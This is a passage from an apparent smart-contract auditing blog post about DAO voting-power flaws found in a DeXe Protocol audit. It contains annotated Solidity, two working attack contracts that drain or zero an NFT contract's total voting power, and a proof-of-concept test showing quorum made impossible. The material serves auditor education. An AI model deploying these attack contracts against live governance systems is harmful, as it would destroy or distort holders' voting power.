    <span class="hljs-comment">// @audit will set nft's current power to 0</span>
    nftInfo.currentPower <span class="hljs-operator">=</span> newPower;
}
</code></pre>
<p>We can exploit this discrepancy via a creative permission-less attack contract to completely brick the voting power of all nft holders:</p>
<pre><code class="lang-solidity"><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">ERC721PowerAttack</span> </span>{
    <span class="hljs-comment">// this attack can decrease ERC721Power::totalPower by the the true max power of all</span>
    <span class="hljs-comment">// the power nfts that exist (to zero), regardless of who owns them, and sets the current</span>
    <span class="hljs-comment">// power of all nfts to zero, totally bricking the ERC721Power contract.</span>
    <span class="hljs-comment">//</span>
    <span class="hljs-comment">// this attack only works when block.timestamp == nftPower.powerCalcStartTimestamp</span>
    <span class="hljs-comment">// as it takes advantage of a difference in getNftPower() &amp; recalculateNftPower():</span>
    <span class="hljs-comment">//</span>
    <span class="hljs-comment">// getNftPower() returns 0 when block.timestamp &lt;= powerCalcStartTimestamp</span>
    <span class="hljs-comment">// recalculateNftPower returns 0 when block.timestamp &lt; powerCalcStartTimestamp</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">attack</span>(<span class="hljs-params">
        <span class="hljs-keyword">address</span> nftPowerAddr,
        <span class="hljs-keyword">uint256</span> initialTotalPower,
        <span class="hljs-keyword">uint256</span> lastTokenId
    </span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        ERC721Power nftPower <span class="hljs-operator">=</span> ERC721Power(nftPowerAddr);

        <span class="hljs-comment">// verify attack starts on the correct block</span>
        <span class="hljs-built_in">require</span>(
            <span class="hljs-built_in">block</span>.<span class="hljs-built_in">timestamp</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> nftPower.powerCalcStartTimestamp(),
            <span class="hljs-string">"ERC721PowerAttack: attack requires block.timestamp == nftPower.powerCalcStartTimestamp"</span>
        );

        <span class="hljs-comment">// verify totalPower() correct at starting block</span>
        <span class="hljs-built_in">require</span>(
            nftPower.totalPower() <span class="hljs-operator">=</span><span class="hljs-operator">=</span> initialTotalPower,
            <span class="hljs-string">"ERC721PowerAttack: incorrect initial totalPower"</span>
        );

        <span class="hljs-comment">// call recalculateNftPower() for every nft, this:</span>
        <span class="hljs-comment">// 1) decreases ERC721Power::totalPower by that nft's max power</span>
        <span class="hljs-comment">// 2) sets that nft's currentPower = 0</span>
        <span class="hljs-keyword">for</span> (<span class="hljs-keyword">uint256</span> i <span class="hljs-operator">=</span> <span class="hljs-number">1</span>; i <span class="hljs-operator">&lt;</span><span class="hljs-operator">=</span> lastTokenId; ) {
            <span class="hljs-built_in">require</span>(
                nftPower.recalculateNftPower(i) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>,
                <span class="hljs-string">"ERC721PowerAttack: recalculateNftPower() should return 0 for new nft power"</span>
            );

            <span class="hljs-keyword">unchecked</span> {
                <span class="hljs-operator">+</span><span class="hljs-operator">+</span>i;
            }
        }

        <span class="hljs-built_in">require</span>(
            nftPower.totalPower() <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>,
            <span class="hljs-string">"ERC721PowerAttack: after attack finished totalPower should equal 0"</span>
        );
    }
}
</code></pre>
<p>Smart contract auditors should carefully examine voting power calculation algorithms to see if it is possible to creatively exploit them to destroy user voting power. More examples: [<a target="_blank" href="https://solodit.xyz/issues/m-15-griefer-can-minimize-delegatees-voting-power-code4rena-golom-golom-contest-git">1</a>]</p>
<h3 id="heading-amplify-individual-voting-power-by-reducing-total-voting-power">Amplify Individual Voting Power By Reducing Total Voting Power</h3>
<p>The voting power of any single individual is typically divided by the total voting power; if an attacker can artificially reduce the total voting power they can artificially increase the individual voting power, making it easier for any single individual or a small collective to reach quorum and decide the outcome of any proposal.</p>
<p>Theoretically, the total voting power is equal to the sum of all individual voting powers, but for scalability and gas efficiency the total voting power is usually never calculated this way but instead stored in a separate storage slot and incrementally updated as individual voting powers change. This introduces the possibility that through a creative attack vector an attacker could modify the total voting power storage slot without modifying the individual voting powers.</p>
<p>In Cyfrin's DeXe Protocol audit we observed that we could call the <code>ERC721Power::recalculateNftPower()</code> &amp; <code>getNftPower()</code> functions with a non-existent <code>tokenId</code> and this would surprisingly not revert nor return 0, but that <a target="_blank" href="https://github.com/dexe-network/DeXe-Protocol/tree/f2fe12eeac0c4c63ac39670912640dc91d94bda5/contracts/gov/ERC721/ERC721Power.sol#L171-L206"><code>getNftPower()</code></a> would return values &gt; 0 for a non-existent <code>tokenId</code>:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getNftPower</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> tokenId</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">override</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>) </span>{
    <span class="hljs-keyword">if</span> (<span class="hljs-built_in">block</span>.<span class="hljs-built_in">timestamp</span> <span class="hljs-operator">&lt;</span><span class="hljs-operator">=</span> powerCalcStartTimestamp) {
        <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
    }

    <span class="hljs-comment">// @audit 0 for non-existent tokenId</span>
    <span class="hljs-keyword">uint256</span> collateral <span class="hljs-operator">=</span> nftInfos[tokenId].currentCollateral;

    <span class="hljs-comment">// Calculate the minimum possible power based on the collateral of the nft</span>
    <span class="hljs-comment">// @audit returns default maxPower for non-existent tokenId</span>
    <span class="hljs-keyword">uint256</span> maxNftPower <span class="hljs-operator">=</span> getMaxPowerForNft(tokenId);
    <span class="hljs-keyword">uint256</span> minNftPower <span class="hljs-operator">=</span> maxNftPower.ratio(collateral, getRequiredCollateralForNft(tokenId));
    minNftPower <span class="hljs-operator">=</span> maxNftPower.<span class="hljs-built_in">min</span>(minNftPower);

    <span class="hljs-comment">// Get last update and current power. Or set them to default if it is first iteration</span>
    <span class="hljs-comment">// @audit both 0 for non-existent tokenId</span>
    <span class="hljs-keyword">uint64</span> lastUpdate <span class="hljs-operator">=</span> nftInfos[tokenId].lastUpdate;
    <span class="hljs-keyword">uint256</span> currentPower <span class="hljs-operator">=</span> nftInfos[tokenId].currentPower;

    <span class="hljs-keyword">if</span> (lastUpdate <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>) {
        lastUpdate <span class="hljs-operator">=</span> powerCalcStartTimestamp;
        <span class="hljs-comment">// @audit currentPower set to maxNftPower which</span>
        <span class="hljs-comment">// is just the default maxPower even for non-existent tokenId!</span>
        currentPower <span class="hljs-operator">=</span> maxNftPower;
    }

    <span class="hljs-comment">// Calculate reduction amount</span>
    <span class="hljs-keyword">uint256</span> powerReductionPercent <span class="hljs-operator">=</span> reductionPercent <span class="hljs-operator">*</span> (<span class="hljs-built_in">block</span>.<span class="hljs-built_in">timestamp</span> <span class="hljs-operator">-</span> lastUpdate);
    <span class="hljs-keyword">uint256</span> powerReduction <span class="hljs-operator">=</span> currentPower.<span class="hljs-built_in">min</span>(maxNftPower.percentage(powerReductionPercent));
    <span class="hljs-keyword">uint256</span> newPotentialPower <span class="hljs-operator">=</span> currentPower <span class="hljs-operator">-</span> powerReduction;

    <span class="hljs-comment">// @audit returns newPotentialPower slightly reduced</span>
    <span class="hljs-comment">// from maxPower for non-existent tokenId</span>
    <span class="hljs-keyword">if</span> (minNftPower <span class="hljs-operator">&lt;</span><span class="hljs-operator">=</span> newPotentialPower) {
        <span class="hljs-keyword">return</span> newPotentialPower;
    }

    <span class="hljs-keyword">if</span> (minNftPower <span class="hljs-operator">&lt;</span><span class="hljs-operator">=</span> currentPower) {
        <span class="hljs-keyword">return</span> minNftPower;
    }

    <span class="hljs-keyword">return</span> currentPower;
}
</code></pre>
<p>When this occurs the subsequent behavior of <a target="_blank" href="https://github.com/dexe-network/DeXe-Protocol/tree/f2fe12eeac0c4c63ac39670912640dc91d94bda5/contracts/gov/ERC721/ERC721Power.sol#L143-L157"><code>recalculateNftPower()</code></a> results in a net decrease of <code>totalPower</code>:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">recalculateNftPower</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> tokenId</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">override</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span> newPower</span>) </span>{
    <span class="hljs-keyword">if</span> (<span class="hljs-built_in">block</span>.<span class="hljs-built_in">timestamp</span> <span class="hljs-operator">&lt;</span> powerCalcStartTimestamp) {
        <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
    }

    <span class="hljs-comment">// @audit newPower &gt; 0 for non-existent tokenId</span>
    newPower <span class="hljs-operator">=</span> getNftPower(tokenId);

    NftInfo <span class="hljs-keyword">storage</span> nftInfo <span class="hljs-operator">=</span> nftInfos[tokenId];

    <span class="hljs-comment">// @audit as this is the first update since</span>
    <span class="hljs-comment">// tokenId doesn't exist, totalPower will be </span>
    <span class="hljs-comment">// subtracted by nft's max power</span>
    totalPower <span class="hljs-operator">-</span><span class="hljs-operator">=</span> nftInfo.lastUpdate <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span> ? nftInfo.currentPower : getMaxPowerForNft(tokenId);
    <span class="hljs-comment">// @audit then totalPower is increased by newPower where:</span>
    <span class="hljs-comment">// 0 &lt; newPower &lt; maxPower hence net decrease to totalPower</span>
    totalPower <span class="hljs-operator">+</span><span class="hljs-operator">=</span> newPower;

    nftInfo.lastUpdate <span class="hljs-operator">=</span> <span class="hljs-keyword">uint64</span>(<span class="hljs-built_in">block</span>.<span class="hljs-built_in">timestamp</span>);
    nftInfo.currentPower <span class="hljs-operator">=</span> newPower;
}
</code></pre>
<p>We can exploit this behavior via a creative permission-less attack contract to <a target="_blank" href="https://solodit.xyz/issues/attacker-can-at-anytime-dramatically-lower-erc721powertotalpower-close-to-0-cyfrin-none-cyfrin-dexe-markdown">dramatically lower the total voting power while preserving individual user voting power</a>, significantly artificially enhancing individual voting power:</p>
<pre><code class="lang-solidity"><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">ERC721PowerAttack</span> </span>{
    <span class="hljs-comment">// this attack can decrease ERC721Power::totalPower close to 0</span>
    <span class="hljs-comment">//</span>
    <span class="hljs-comment">// this attack works when block.timestamp &gt; nftPower.powerCalcStartTimestamp</span>
    <span class="hljs-comment">// by taking advantage calling recalculateNftPower for non-existent nfts</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">attack2</span>(<span class="hljs-params">
        <span class="hljs-keyword">address</span> nftPowerAddr,
        <span class="hljs-keyword">uint256</span> initialTotalPower,
        <span class="hljs-keyword">uint256</span> lastTokenId,
        <span class="hljs-keyword">uint256</span> attackIterations
    </span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        ERC721Power nftPower <span class="hljs-operator">=</span> ERC721Power(nftPowerAddr);

        <span class="hljs-comment">// verify attack starts on the correct block</span>
        <span class="hljs-built_in">require</span>(
            <span class="hljs-built_in">block</span>.<span class="hljs-built_in">timestamp</span> <span class="hljs-operator">&gt;</span> nftPower.powerCalcStartTimestamp(),
            <span class="hljs-string">"ERC721PowerAttack: attack2 requires block.timestamp &gt; nftPower.powerCalcStartTimestamp"</span>
        );

        <span class="hljs-comment">// verify totalPower() correct at starting block</span>
        <span class="hljs-built_in">require</span>(
            nftPower.totalPower() <span class="hljs-operator">=</span><span class="hljs-operator">=</span> initialTotalPower,
            <span class="hljs-string">"ERC721PowerAttack: incorrect initial totalPower"</span>
        );

        <span class="hljs-comment">// output totalPower before attack</span>
        console.log(nftPower.totalPower());

        <span class="hljs-comment">// keep calling recalculateNftPower() for non-existent nfts</span>
        <span class="hljs-comment">// this lowers ERC721Power::totalPower() every time</span>
        <span class="hljs-comment">// can't get it to 0 due to underflow but can get close enough</span>
        <span class="hljs-keyword">for</span> (<span class="hljs-keyword">uint256</span> i; i <span class="hljs-operator">&lt;</span> attackIterations; ) {
            nftPower.recalculateNftPower(<span class="hljs-operator">+</span><span class="hljs-operator">+</span>lastTokenId);
            <span class="hljs-keyword">unchecked</span> {
                <span class="hljs-operator">+</span><span class="hljs-operator">+</span>i;
            }
        }

        <span class="hljs-comment">// output totalPower after attack</span>
        console.log(nftPower.totalPower());

        <span class="hljs-comment">// original totalPower : 10000000000000000000000000000</span>
        <span class="hljs-comment">// current  totalPower : 900000000000000000000000000</span>
        <span class="hljs-built_in">require</span>(
            nftPower.totalPower() <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">900000000000000000000000000</span>,
            <span class="hljs-string">"ERC721PowerAttack: after attack finished totalPower should equal 900000000000000000000000000"</span>
        );
    }
}
</code></pre>
<p>Smart contract auditors should carefully examine voting power calculation algorithms to see if it is possible to creatively exploit them to lower the total voting power while preserving individual user voting power, significantly artificially enhancing individual voting power. More examples: [<a target="_blank" href="https://solodit.xyz/issues/m-8-adversary-can-abuse-delegating-to-lower-quorum-sherlock-3d-frankenpunks-frankendao-git">1</a>]</p>
<h3 id="heading-proposal-creation-snapshots-incorrect-total-voting-power">Proposal Creation Snapshots Incorrect Total Voting Power</h3>
<p>Some DAO voting protocols take snapshots of user voting power when the proposal was created such that users can only vote with the tokens they possessed at that time; acquiring more tokens or attempting to use a flash-loan would have no effect.</p>
<p>A common error that occurs in these systems is that the <a target="_blank" href="https://solodit.xyz/issues/proposal-creation-uses-incorrect-erc721powertotalpower-as-nft-power-not-updated-before-snapshot-cyfrin-none-cyfrin-dexe-markdown">total voting power is not correctly saved in the snapshot</a>. This can either artificially amplify or reduce user voting power depending on whether the incorrect value is smaller or larger than the actual value.</p>
<p>Auditors &amp; attackers should be on alert for voting systems where the power of a vote can change dynamically; where one token can represent more than one vote and this value can be increased or decreased. Depending on the order of operations, such systems can easily enter an invariant-breaking state when the snapshot is taken causing the snapshotted total voting power to not match the sum of the individual voting powers.</p>
<p>In Cyfrin's DeXe Protocol <a target="_blank" href="https://www.cyfrin.io/">smart contract audit</a> we noticed that:</p>
<ul>
<li><p>the <a target="_blank" href="https://github.com/dexe-network/DeXe-Protocol/tree/f2fe12eeac0c4c63ac39670912640dc91d94bda5/contracts/gov/ERC721/ERC721Power.sol"><code>ERC721Power</code></a> nft voting contract had dynamically changing voting power for individual nfts; voting power would decrease over time unless users had deposited the required collateral for their nfts</p>
</li>
<li><p>in the unit tests for this contract a function called <a target="_blank" href="https://github.com/dexe-network/DeXe-Protocol/tree/f2fe12eeac0c4c63ac39670912640dc91d94bda5/contracts/gov/user-keeper/GovUserKeeper.sol#L416-L430"><code>updateNftPowers()</code></a> was being called before snapshot creation but in the actual protocol code this function was never called, nor would this function be scalable in a real-world system with thousands of voting nfts</p>
</li>
<li><p>in the protocol code when the proposal was created the snapshot was <a target="_blank" href="https://github.com/dexe-network/DeXe-Protocol/tree/f2fe12eeac0c4c63ac39670912640dc91d94bda5/contracts/gov/user-keeper/GovUserKeeper.sol#L331">reading</a> <code>ERC721Power::totalPower</code> directly from storage without ensuring that this value was current:</p>
</li>
</ul>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">createNftPowerSnapshot</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">override</span></span> <span class="hljs-title">onlyOwner</span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>) </span>{
    IERC721Power nftContract <span class="hljs-operator">=</span> IERC721Power(nftAddress);
    <span class="hljs-keyword">if</span> (<span class="hljs-keyword">address</span>(nftContract) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-number">0</span>)) {<span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;}

    <span class="hljs-keyword">uint256</span> currentPowerSnapshotId <span class="hljs-operator">=</span> <span class="hljs-operator">+</span><span class="hljs-operator">+</span>_latestPowerSnapshotId;
    <span class="hljs-keyword">uint256</span> power;

    <span class="hljs-keyword">if</span> (_nftInfo.isSupportPower) {
        <span class="hljs-comment">// @audit reading total power directly from storage without ensuring</span>
        <span class="hljs-comment">// that individual nft power has been recalculated results in proposals</span>
        <span class="hljs-comment">// being created with outdated total voting power when using ERC721Power nfts</span>
        power <span class="hljs-operator">=</span> nftContract.totalPower();
    } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (_nftInfo.totalSupply <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>) {power <span class="hljs-operator">=</span> nftContract.totalSupply();
    } <span class="hljs-keyword">else</span> {power <span class="hljs-operator">=</span> _nftInfo.totalSupply;}

    nftSnapshot[currentPowerSnapshotId] <span class="hljs-operator">=</span> power;

    <span class="hljs-keyword">return</span> currentPowerSnapshotId;
}
</code></pre>
<p>The snapshotted value is later used in the divisor when calculating the voting power of individual nfts; a stale larger divisor will incorrectly reduce the voting power of individual nfts while a stale smaller divisor will incorrectly amplify the voting power of individual nfts.</p>
<p>Auditors should verify whether the sum of total voting power matches the individual user voting powers at snapshot creation, paying special attention to how dynamically calculated voting power changes over time and the sequence of operations that occur when snapshots of voting power are taken. More examples: [<a target="_blank" href="https://solodit.xyz/issues/m-07-totalvotingpower-needs-to-be-snapshotted-for-each-proposal-because-it-can-change-and-thereby-affect-consensus-when-accepting-vetoing-proposals-code4rena-partydao-party-protocol-versus-contest-git">1</a>, <a target="_blank" href="https://solodit.xyz/issues/m-03-burning-an-nft-can-be-used-to-block-voting-code4rena-partydao-party-dao-invitational-git">2</a>]</p>
<h3 id="heading-impossible-to-reach-quorum">Impossible To Reach Quorum</h3>
<p>As DAOs rely on passing proposals to facilitate DAO activities including the allocation of the DAO's monetary capital, it should never be possible for the DAO to enter a state where it is permanently <a target="_blank" href="https://solodit.xyz/issues/static-govuserkeeper_nftinfototalpowerintokens-used-in-quorum-denominator-can-incorrectly-make-it-impossible-to-reach-quorum-cyfrin-none-cyfrin-dexe-markdown">impossible to reach quorum</a>. For simpler DAOs using ERC20 tokens with fixed voting power (eg 1 token = 1 vote) this state is likely impossible to reach, but it may manifest in advanced DAOs that enable voting via both ERC20 &amp; ERC721 tokens and feature dynamic voting power calculation.</p>
<p>In Cyfrin's DeXe Protocol audit voting is supported using both ERC20 &amp; ERC721 tokens at the same time; the ERC721 contract <a target="_blank" href="https://github.com/dexe-network/DeXe-Protocol/tree/f2fe12eeac0c4c63ac39670912640dc91d94bda5/contracts/gov/user-keeper/GovUserKeeper.sol#L690-L694">at initialization</a> is allocated a fixed <code>totalPowerInTokens</code> amount which is then <a target="_blank" href="https://github.com/dexe-network/DeXe-Protocol/tree/f2fe12eeac0c4c63ac39670912640dc91d94bda5/contracts/gov/user-keeper/GovUserKeeper.sol#L573">added</a> to the ERC20 <code>totalSupply</code> and <a target="_blank" href="https://github.com/dexe-network/DeXe-Protocol/tree/f2fe12eeac0c4c63ac39670912640dc91d94bda5/contracts/libs/gov/gov-pool/GovPoolVote.sol#L337">used in the denominator</a> when determining if quorum is reached:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// @audit used in denominator of _quorumReached()</span>
<span class="hljs-comment">// returns ERC20::totalSupply() plus the fixed amount</span>
<span class="hljs-comment">// totalPowerInTokens allocated to the nft voting contract</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getTotalVoteWeight</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">override</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>) </span>{
    <span class="hljs-keyword">address</span> token <span class="hljs-operator">=</span> tokenAddress;

    <span class="hljs-keyword">return</span>
        (token <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-number">0</span>) ? IERC20(token).totalSupply().to18(token.decimals()) : <span class="hljs-number">0</span>) <span class="hljs-operator">+</span>
        _nftInfo.totalPowerInTokens;
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_quorumReached</span>(<span class="hljs-params">IGovPool.ProposalCore <span class="hljs-keyword">storage</span> core</span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
    (, <span class="hljs-keyword">address</span> userKeeperAddress, , , ) <span class="hljs-operator">=</span> IGovPool(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>)).getHelperContracts();

    <span class="hljs-keyword">return</span>
        PERCENTAGE_100.ratio(
            core.votesFor <span class="hljs-operator">+</span> core.votesAgainst,
        <span class="hljs-comment">// @audit denominator of quorum calculation is</span>
        <span class="hljs-comment">// ERC20::totalSupply() + totalPowerInTokens</span>
            IGovUserKeeper(userKeeperAddress).getTotalVoteWeight()
        ) <span class="hljs-operator">&gt;</span><span class="hljs-operator">=</span> core.settings.quorum;
}
</code></pre>
<p>The idea is that the nft contract collectively controls a fixed amount of ERC20 tokens such that when the nft holders vote, they are influencing the voting allocation of this fixed amount of ERC20 tokens.</p>
<p>However <code>ERC721Power</code> nfts can lose voting power over time if the users who own them have not deposited the required collateral. If all the nfts lose all of their power this results in a state where <code>ERC721Power::totalPower() == 0</code> but <code>totalPowerInTokens &gt; 0</code> as it is static and never updated.</p>
<p>The consequence of reaching this state is that when calculating whether quorum has been reached, the voting power of the ERC20 tokens will be incorrectly diluted by <code>totalPowerInTokens</code> even though the nft contract has lost all of its voting power. This can result in a state where quorum is impossible to reach which we have proved by simulating this scenario in our PoC:</p>
<pre><code class="lang-javascript">it(<span class="hljs-string">"audit static GovUserKeeper::_nftInfo.totalPowerInTokens in quorum denominator can incorrectly make it impossible to reach quorum"</span>, <span class="hljs-keyword">async</span> () =&gt; {
    <span class="hljs-comment">// time when nft power calculation starts</span>
    <span class="hljs-keyword">let</span> powerNftCalcStartTime = (<span class="hljs-keyword">await</span> getCurrentBlockTime()) + <span class="hljs-number">200</span>;

    <span class="hljs-comment">// required so we can call .toFixed() on BN returned outputs</span>
    ERC721Power.numberFormat = <span class="hljs-string">"BigNumber"</span>;

    <span class="hljs-comment">// ERC721Power.totalPower should be zero as no nfts yet created</span>
    assert.equal((<span class="hljs-keyword">await</span> nftPower.totalPower()).toFixed(), <span class="hljs-string">"0"</span>);

    <span class="hljs-comment">// so proposal doesn't need to go to validators</span>
    <span class="hljs-keyword">await</span> changeInternalSettings(<span class="hljs-literal">false</span>);

    <span class="hljs-comment">// set nftPower as the voting nft</span>
    <span class="hljs-comment">// need to comment out check preventing updating existing</span>
    <span class="hljs-comment">// nft address in GovUserKeeper::setERC721Address()</span>
    <span class="hljs-keyword">await</span> impersonate(govPool.address);
    <span class="hljs-keyword">await</span> userKeeper.setERC721Address(nftPower.address, wei(<span class="hljs-string">"190000000000000000000"</span>), <span class="hljs-number">1</span>, { <span class="hljs-attr">from</span>: govPool.address });

    <span class="hljs-comment">// create a new VOTER account and mint them the only power nft</span>
    <span class="hljs-keyword">let</span> VOTER = <span class="hljs-keyword">await</span> accounts(<span class="hljs-number">10</span>);
    <span class="hljs-keyword">await</span> nftPower.safeMint(VOTER, <span class="hljs-number">1</span>);

    <span class="hljs-comment">// switch to using a new ERC20 token for voting; lets us</span>
    <span class="hljs-comment">// control exactly who has what voting power without worrying about</span>
    <span class="hljs-comment">// what previous setups have done</span>
    <span class="hljs-comment">// requires commenting out require statement in GovUserKeeper::setERC20Address()</span>
    <span class="hljs-keyword">let</span> newVotingToken = <span class="hljs-keyword">await</span> ERC20Mock.new(<span class="hljs-string">"NEWV"</span>, <span class="hljs-string">"NEWV"</span>, <span class="hljs-number">18</span>);
    <span class="hljs-keyword">await</span> impersonate(govPool.address);
    <span class="hljs-keyword">await</span> userKeeper.setERC20Address(newVotingToken.address, { <span class="hljs-attr">from</span>: govPool.address });

    <span class="hljs-comment">// mint VOTER some tokens that when combined with their NFT are enough</span>
    <span class="hljs-comment">// to reach quorum</span>
    <span class="hljs-keyword">let</span> voterTokens = wei(<span class="hljs-string">"190000000000000000000"</span>);
    <span class="hljs-keyword">await</span> newVotingToken.mint(VOTER, voterTokens);
    <span class="hljs-keyword">await</span> newVotingToken.approve(userKeeper.address, voterTokens, { <span class="hljs-attr">from</span>: VOTER });
    <span class="hljs-keyword">await</span> nftPower.approve(userKeeper.address, <span class="hljs-string">"1"</span>, { <span class="hljs-attr">from</span>: VOTER });

    <span class="hljs-comment">// VOTER deposits their tokens &amp; nft to have voting power</span>
    <span class="hljs-keyword">await</span> govPool.deposit(VOTER, voterTokens, [<span class="hljs-number">1</span>], { <span class="hljs-attr">from</span>: VOTER });

    <span class="hljs-comment">// advance to the approximate time when nft power calculation starts</span>
    <span class="hljs-keyword">await</span> setTime(powerNftCalcStartTime);

    <span class="hljs-comment">// verify nft power after power calculation has started</span>
    <span class="hljs-keyword">let</span> nftTotalPowerBefore = <span class="hljs-string">"900000000000000000000000000"</span>;
    assert.equal((<span class="hljs-keyword">await</span> nftPower.totalPower()).toFixed(), nftTotalPowerBefore);

    <span class="hljs-comment">// create a proposal which takes a snapshot of the current nft power</span>
    <span class="hljs-keyword">let</span> proposal1Id = <span class="hljs-number">2</span>;

    <span class="hljs-keyword">await</span> govPool.createProposal(
      <span class="hljs-string">"example.com"</span>,
      [[govPool.address, <span class="hljs-number">0</span>, getBytesGovVote(<span class="hljs-number">3</span>, wei(<span class="hljs-string">"100"</span>), [], <span class="hljs-literal">true</span>)]],
      [[govPool.address, <span class="hljs-number">0</span>, getBytesGovVote(<span class="hljs-number">3</span>, wei(<span class="hljs-string">"100"</span>), [], <span class="hljs-literal">false</span>)]]
    );

    <span class="hljs-comment">// vote on first proposal</span>
    <span class="hljs-keyword">await</span> govPool.vote(proposal1Id, <span class="hljs-literal">true</span>, voterTokens, [<span class="hljs-number">1</span>], { <span class="hljs-attr">from</span>: VOTER });

    <span class="hljs-comment">// advance time to allow proposal state change</span>
    <span class="hljs-keyword">await</span> setTime((<span class="hljs-keyword">await</span> getCurrentBlockTime()) + <span class="hljs-number">10</span>);

    <span class="hljs-comment">// verify that proposal has reached quorum;</span>
    <span class="hljs-comment">// VOTER's tokens &amp; nft was enough to reach quorum</span>
    assert.equal(<span class="hljs-keyword">await</span> govPool.getProposalState(proposal1Id), ProposalState.SucceededFor);

    <span class="hljs-comment">// advance time; since VOTER's nft doesn't have collateral deposited</span>
    <span class="hljs-comment">// its power will decrement to zero</span>
    <span class="hljs-keyword">await</span> setTime((<span class="hljs-keyword">await</span> getCurrentBlockTime()) + <span class="hljs-number">10000</span>);

    <span class="hljs-comment">// call ERC721::recalculateNftPower() for the nft, this will update</span>
    <span class="hljs-comment">// ERC721Power.totalPower with the actual current total power</span>
    <span class="hljs-keyword">await</span> nftPower.recalculateNftPower(<span class="hljs-string">"1"</span>);

    <span class="hljs-comment">// verify that the true totalPower has decremented to zero as the nft</span>
    <span class="hljs-comment">// lost all its power since it didn't have collateral deposited</span>
    assert.equal((<span class="hljs-keyword">await</span> nftPower.totalPower()).toFixed(), <span class="hljs-string">"0"</span>);

    <span class="hljs-comment">// create 2nd proposal which takes a snapshot of the current nft power</span>
    <span class="hljs-keyword">let</span> proposal2Id = <span class="hljs-number">3</span>;

    <span class="hljs-keyword">await</span> govPool.createProposal(
      <span class="hljs-string">"example.com"</span>,
      [[govPool.address, <span class="hljs-number">0</span>, getBytesGovVote(<span class="hljs-number">3</span>, wei(<span class="hljs-string">"100"</span>), [], <span class="hljs-literal">true</span>)]],
      [[govPool.address, <span class="hljs-number">0</span>, getBytesGovVote(<span class="hljs-number">3</span>, wei(<span class="hljs-string">"100"</span>), [], <span class="hljs-literal">false</span>)]]
    );

    <span class="hljs-comment">// vote on second proposal</span>
    <span class="hljs-keyword">await</span> govPool.vote(proposal2Id, <span class="hljs-literal">true</span>, voterTokens, [<span class="hljs-number">1</span>], { <span class="hljs-attr">from</span>: VOTER });

    <span class="hljs-comment">// advance time to allow proposal state change</span>
    <span class="hljs-keyword">await</span> setTime((<span class="hljs-keyword">await</span> getCurrentBlockTime()) + <span class="hljs-number">10</span>);

    <span class="hljs-comment">// verify that proposal has not reached quorum;</span>
    <span class="hljs-comment">// even though VOTER owns 100% of the supply of the ERC20 voting token,</span>
    <span class="hljs-comment">// it is now impossible to reach quorum since the power of VOTER's</span>
    <span class="hljs-comment">// ERC20 tokens is being incorrectly diluted through the quorum calculation</span>
    <span class="hljs-comment">// denominator assuming the nfts still have voting power.</span>
    <span class="hljs-comment">//</span>
    <span class="hljs-comment">// this is incorrect as the nft has lost all power. The root cause</span>
    <span class="hljs-comment">// is GovUserKeeper::_nftInfo.totalPowerInTokens which is static</span>
    <span class="hljs-comment">// but used in the denominator when calculating whether</span>
    <span class="hljs-comment">// quorum is reached</span>
    assert.equal(<span class="hljs-keyword">await</span> govPool.getProposalState(proposal2Id), ProposalState.Voting);
});
</code></pre>
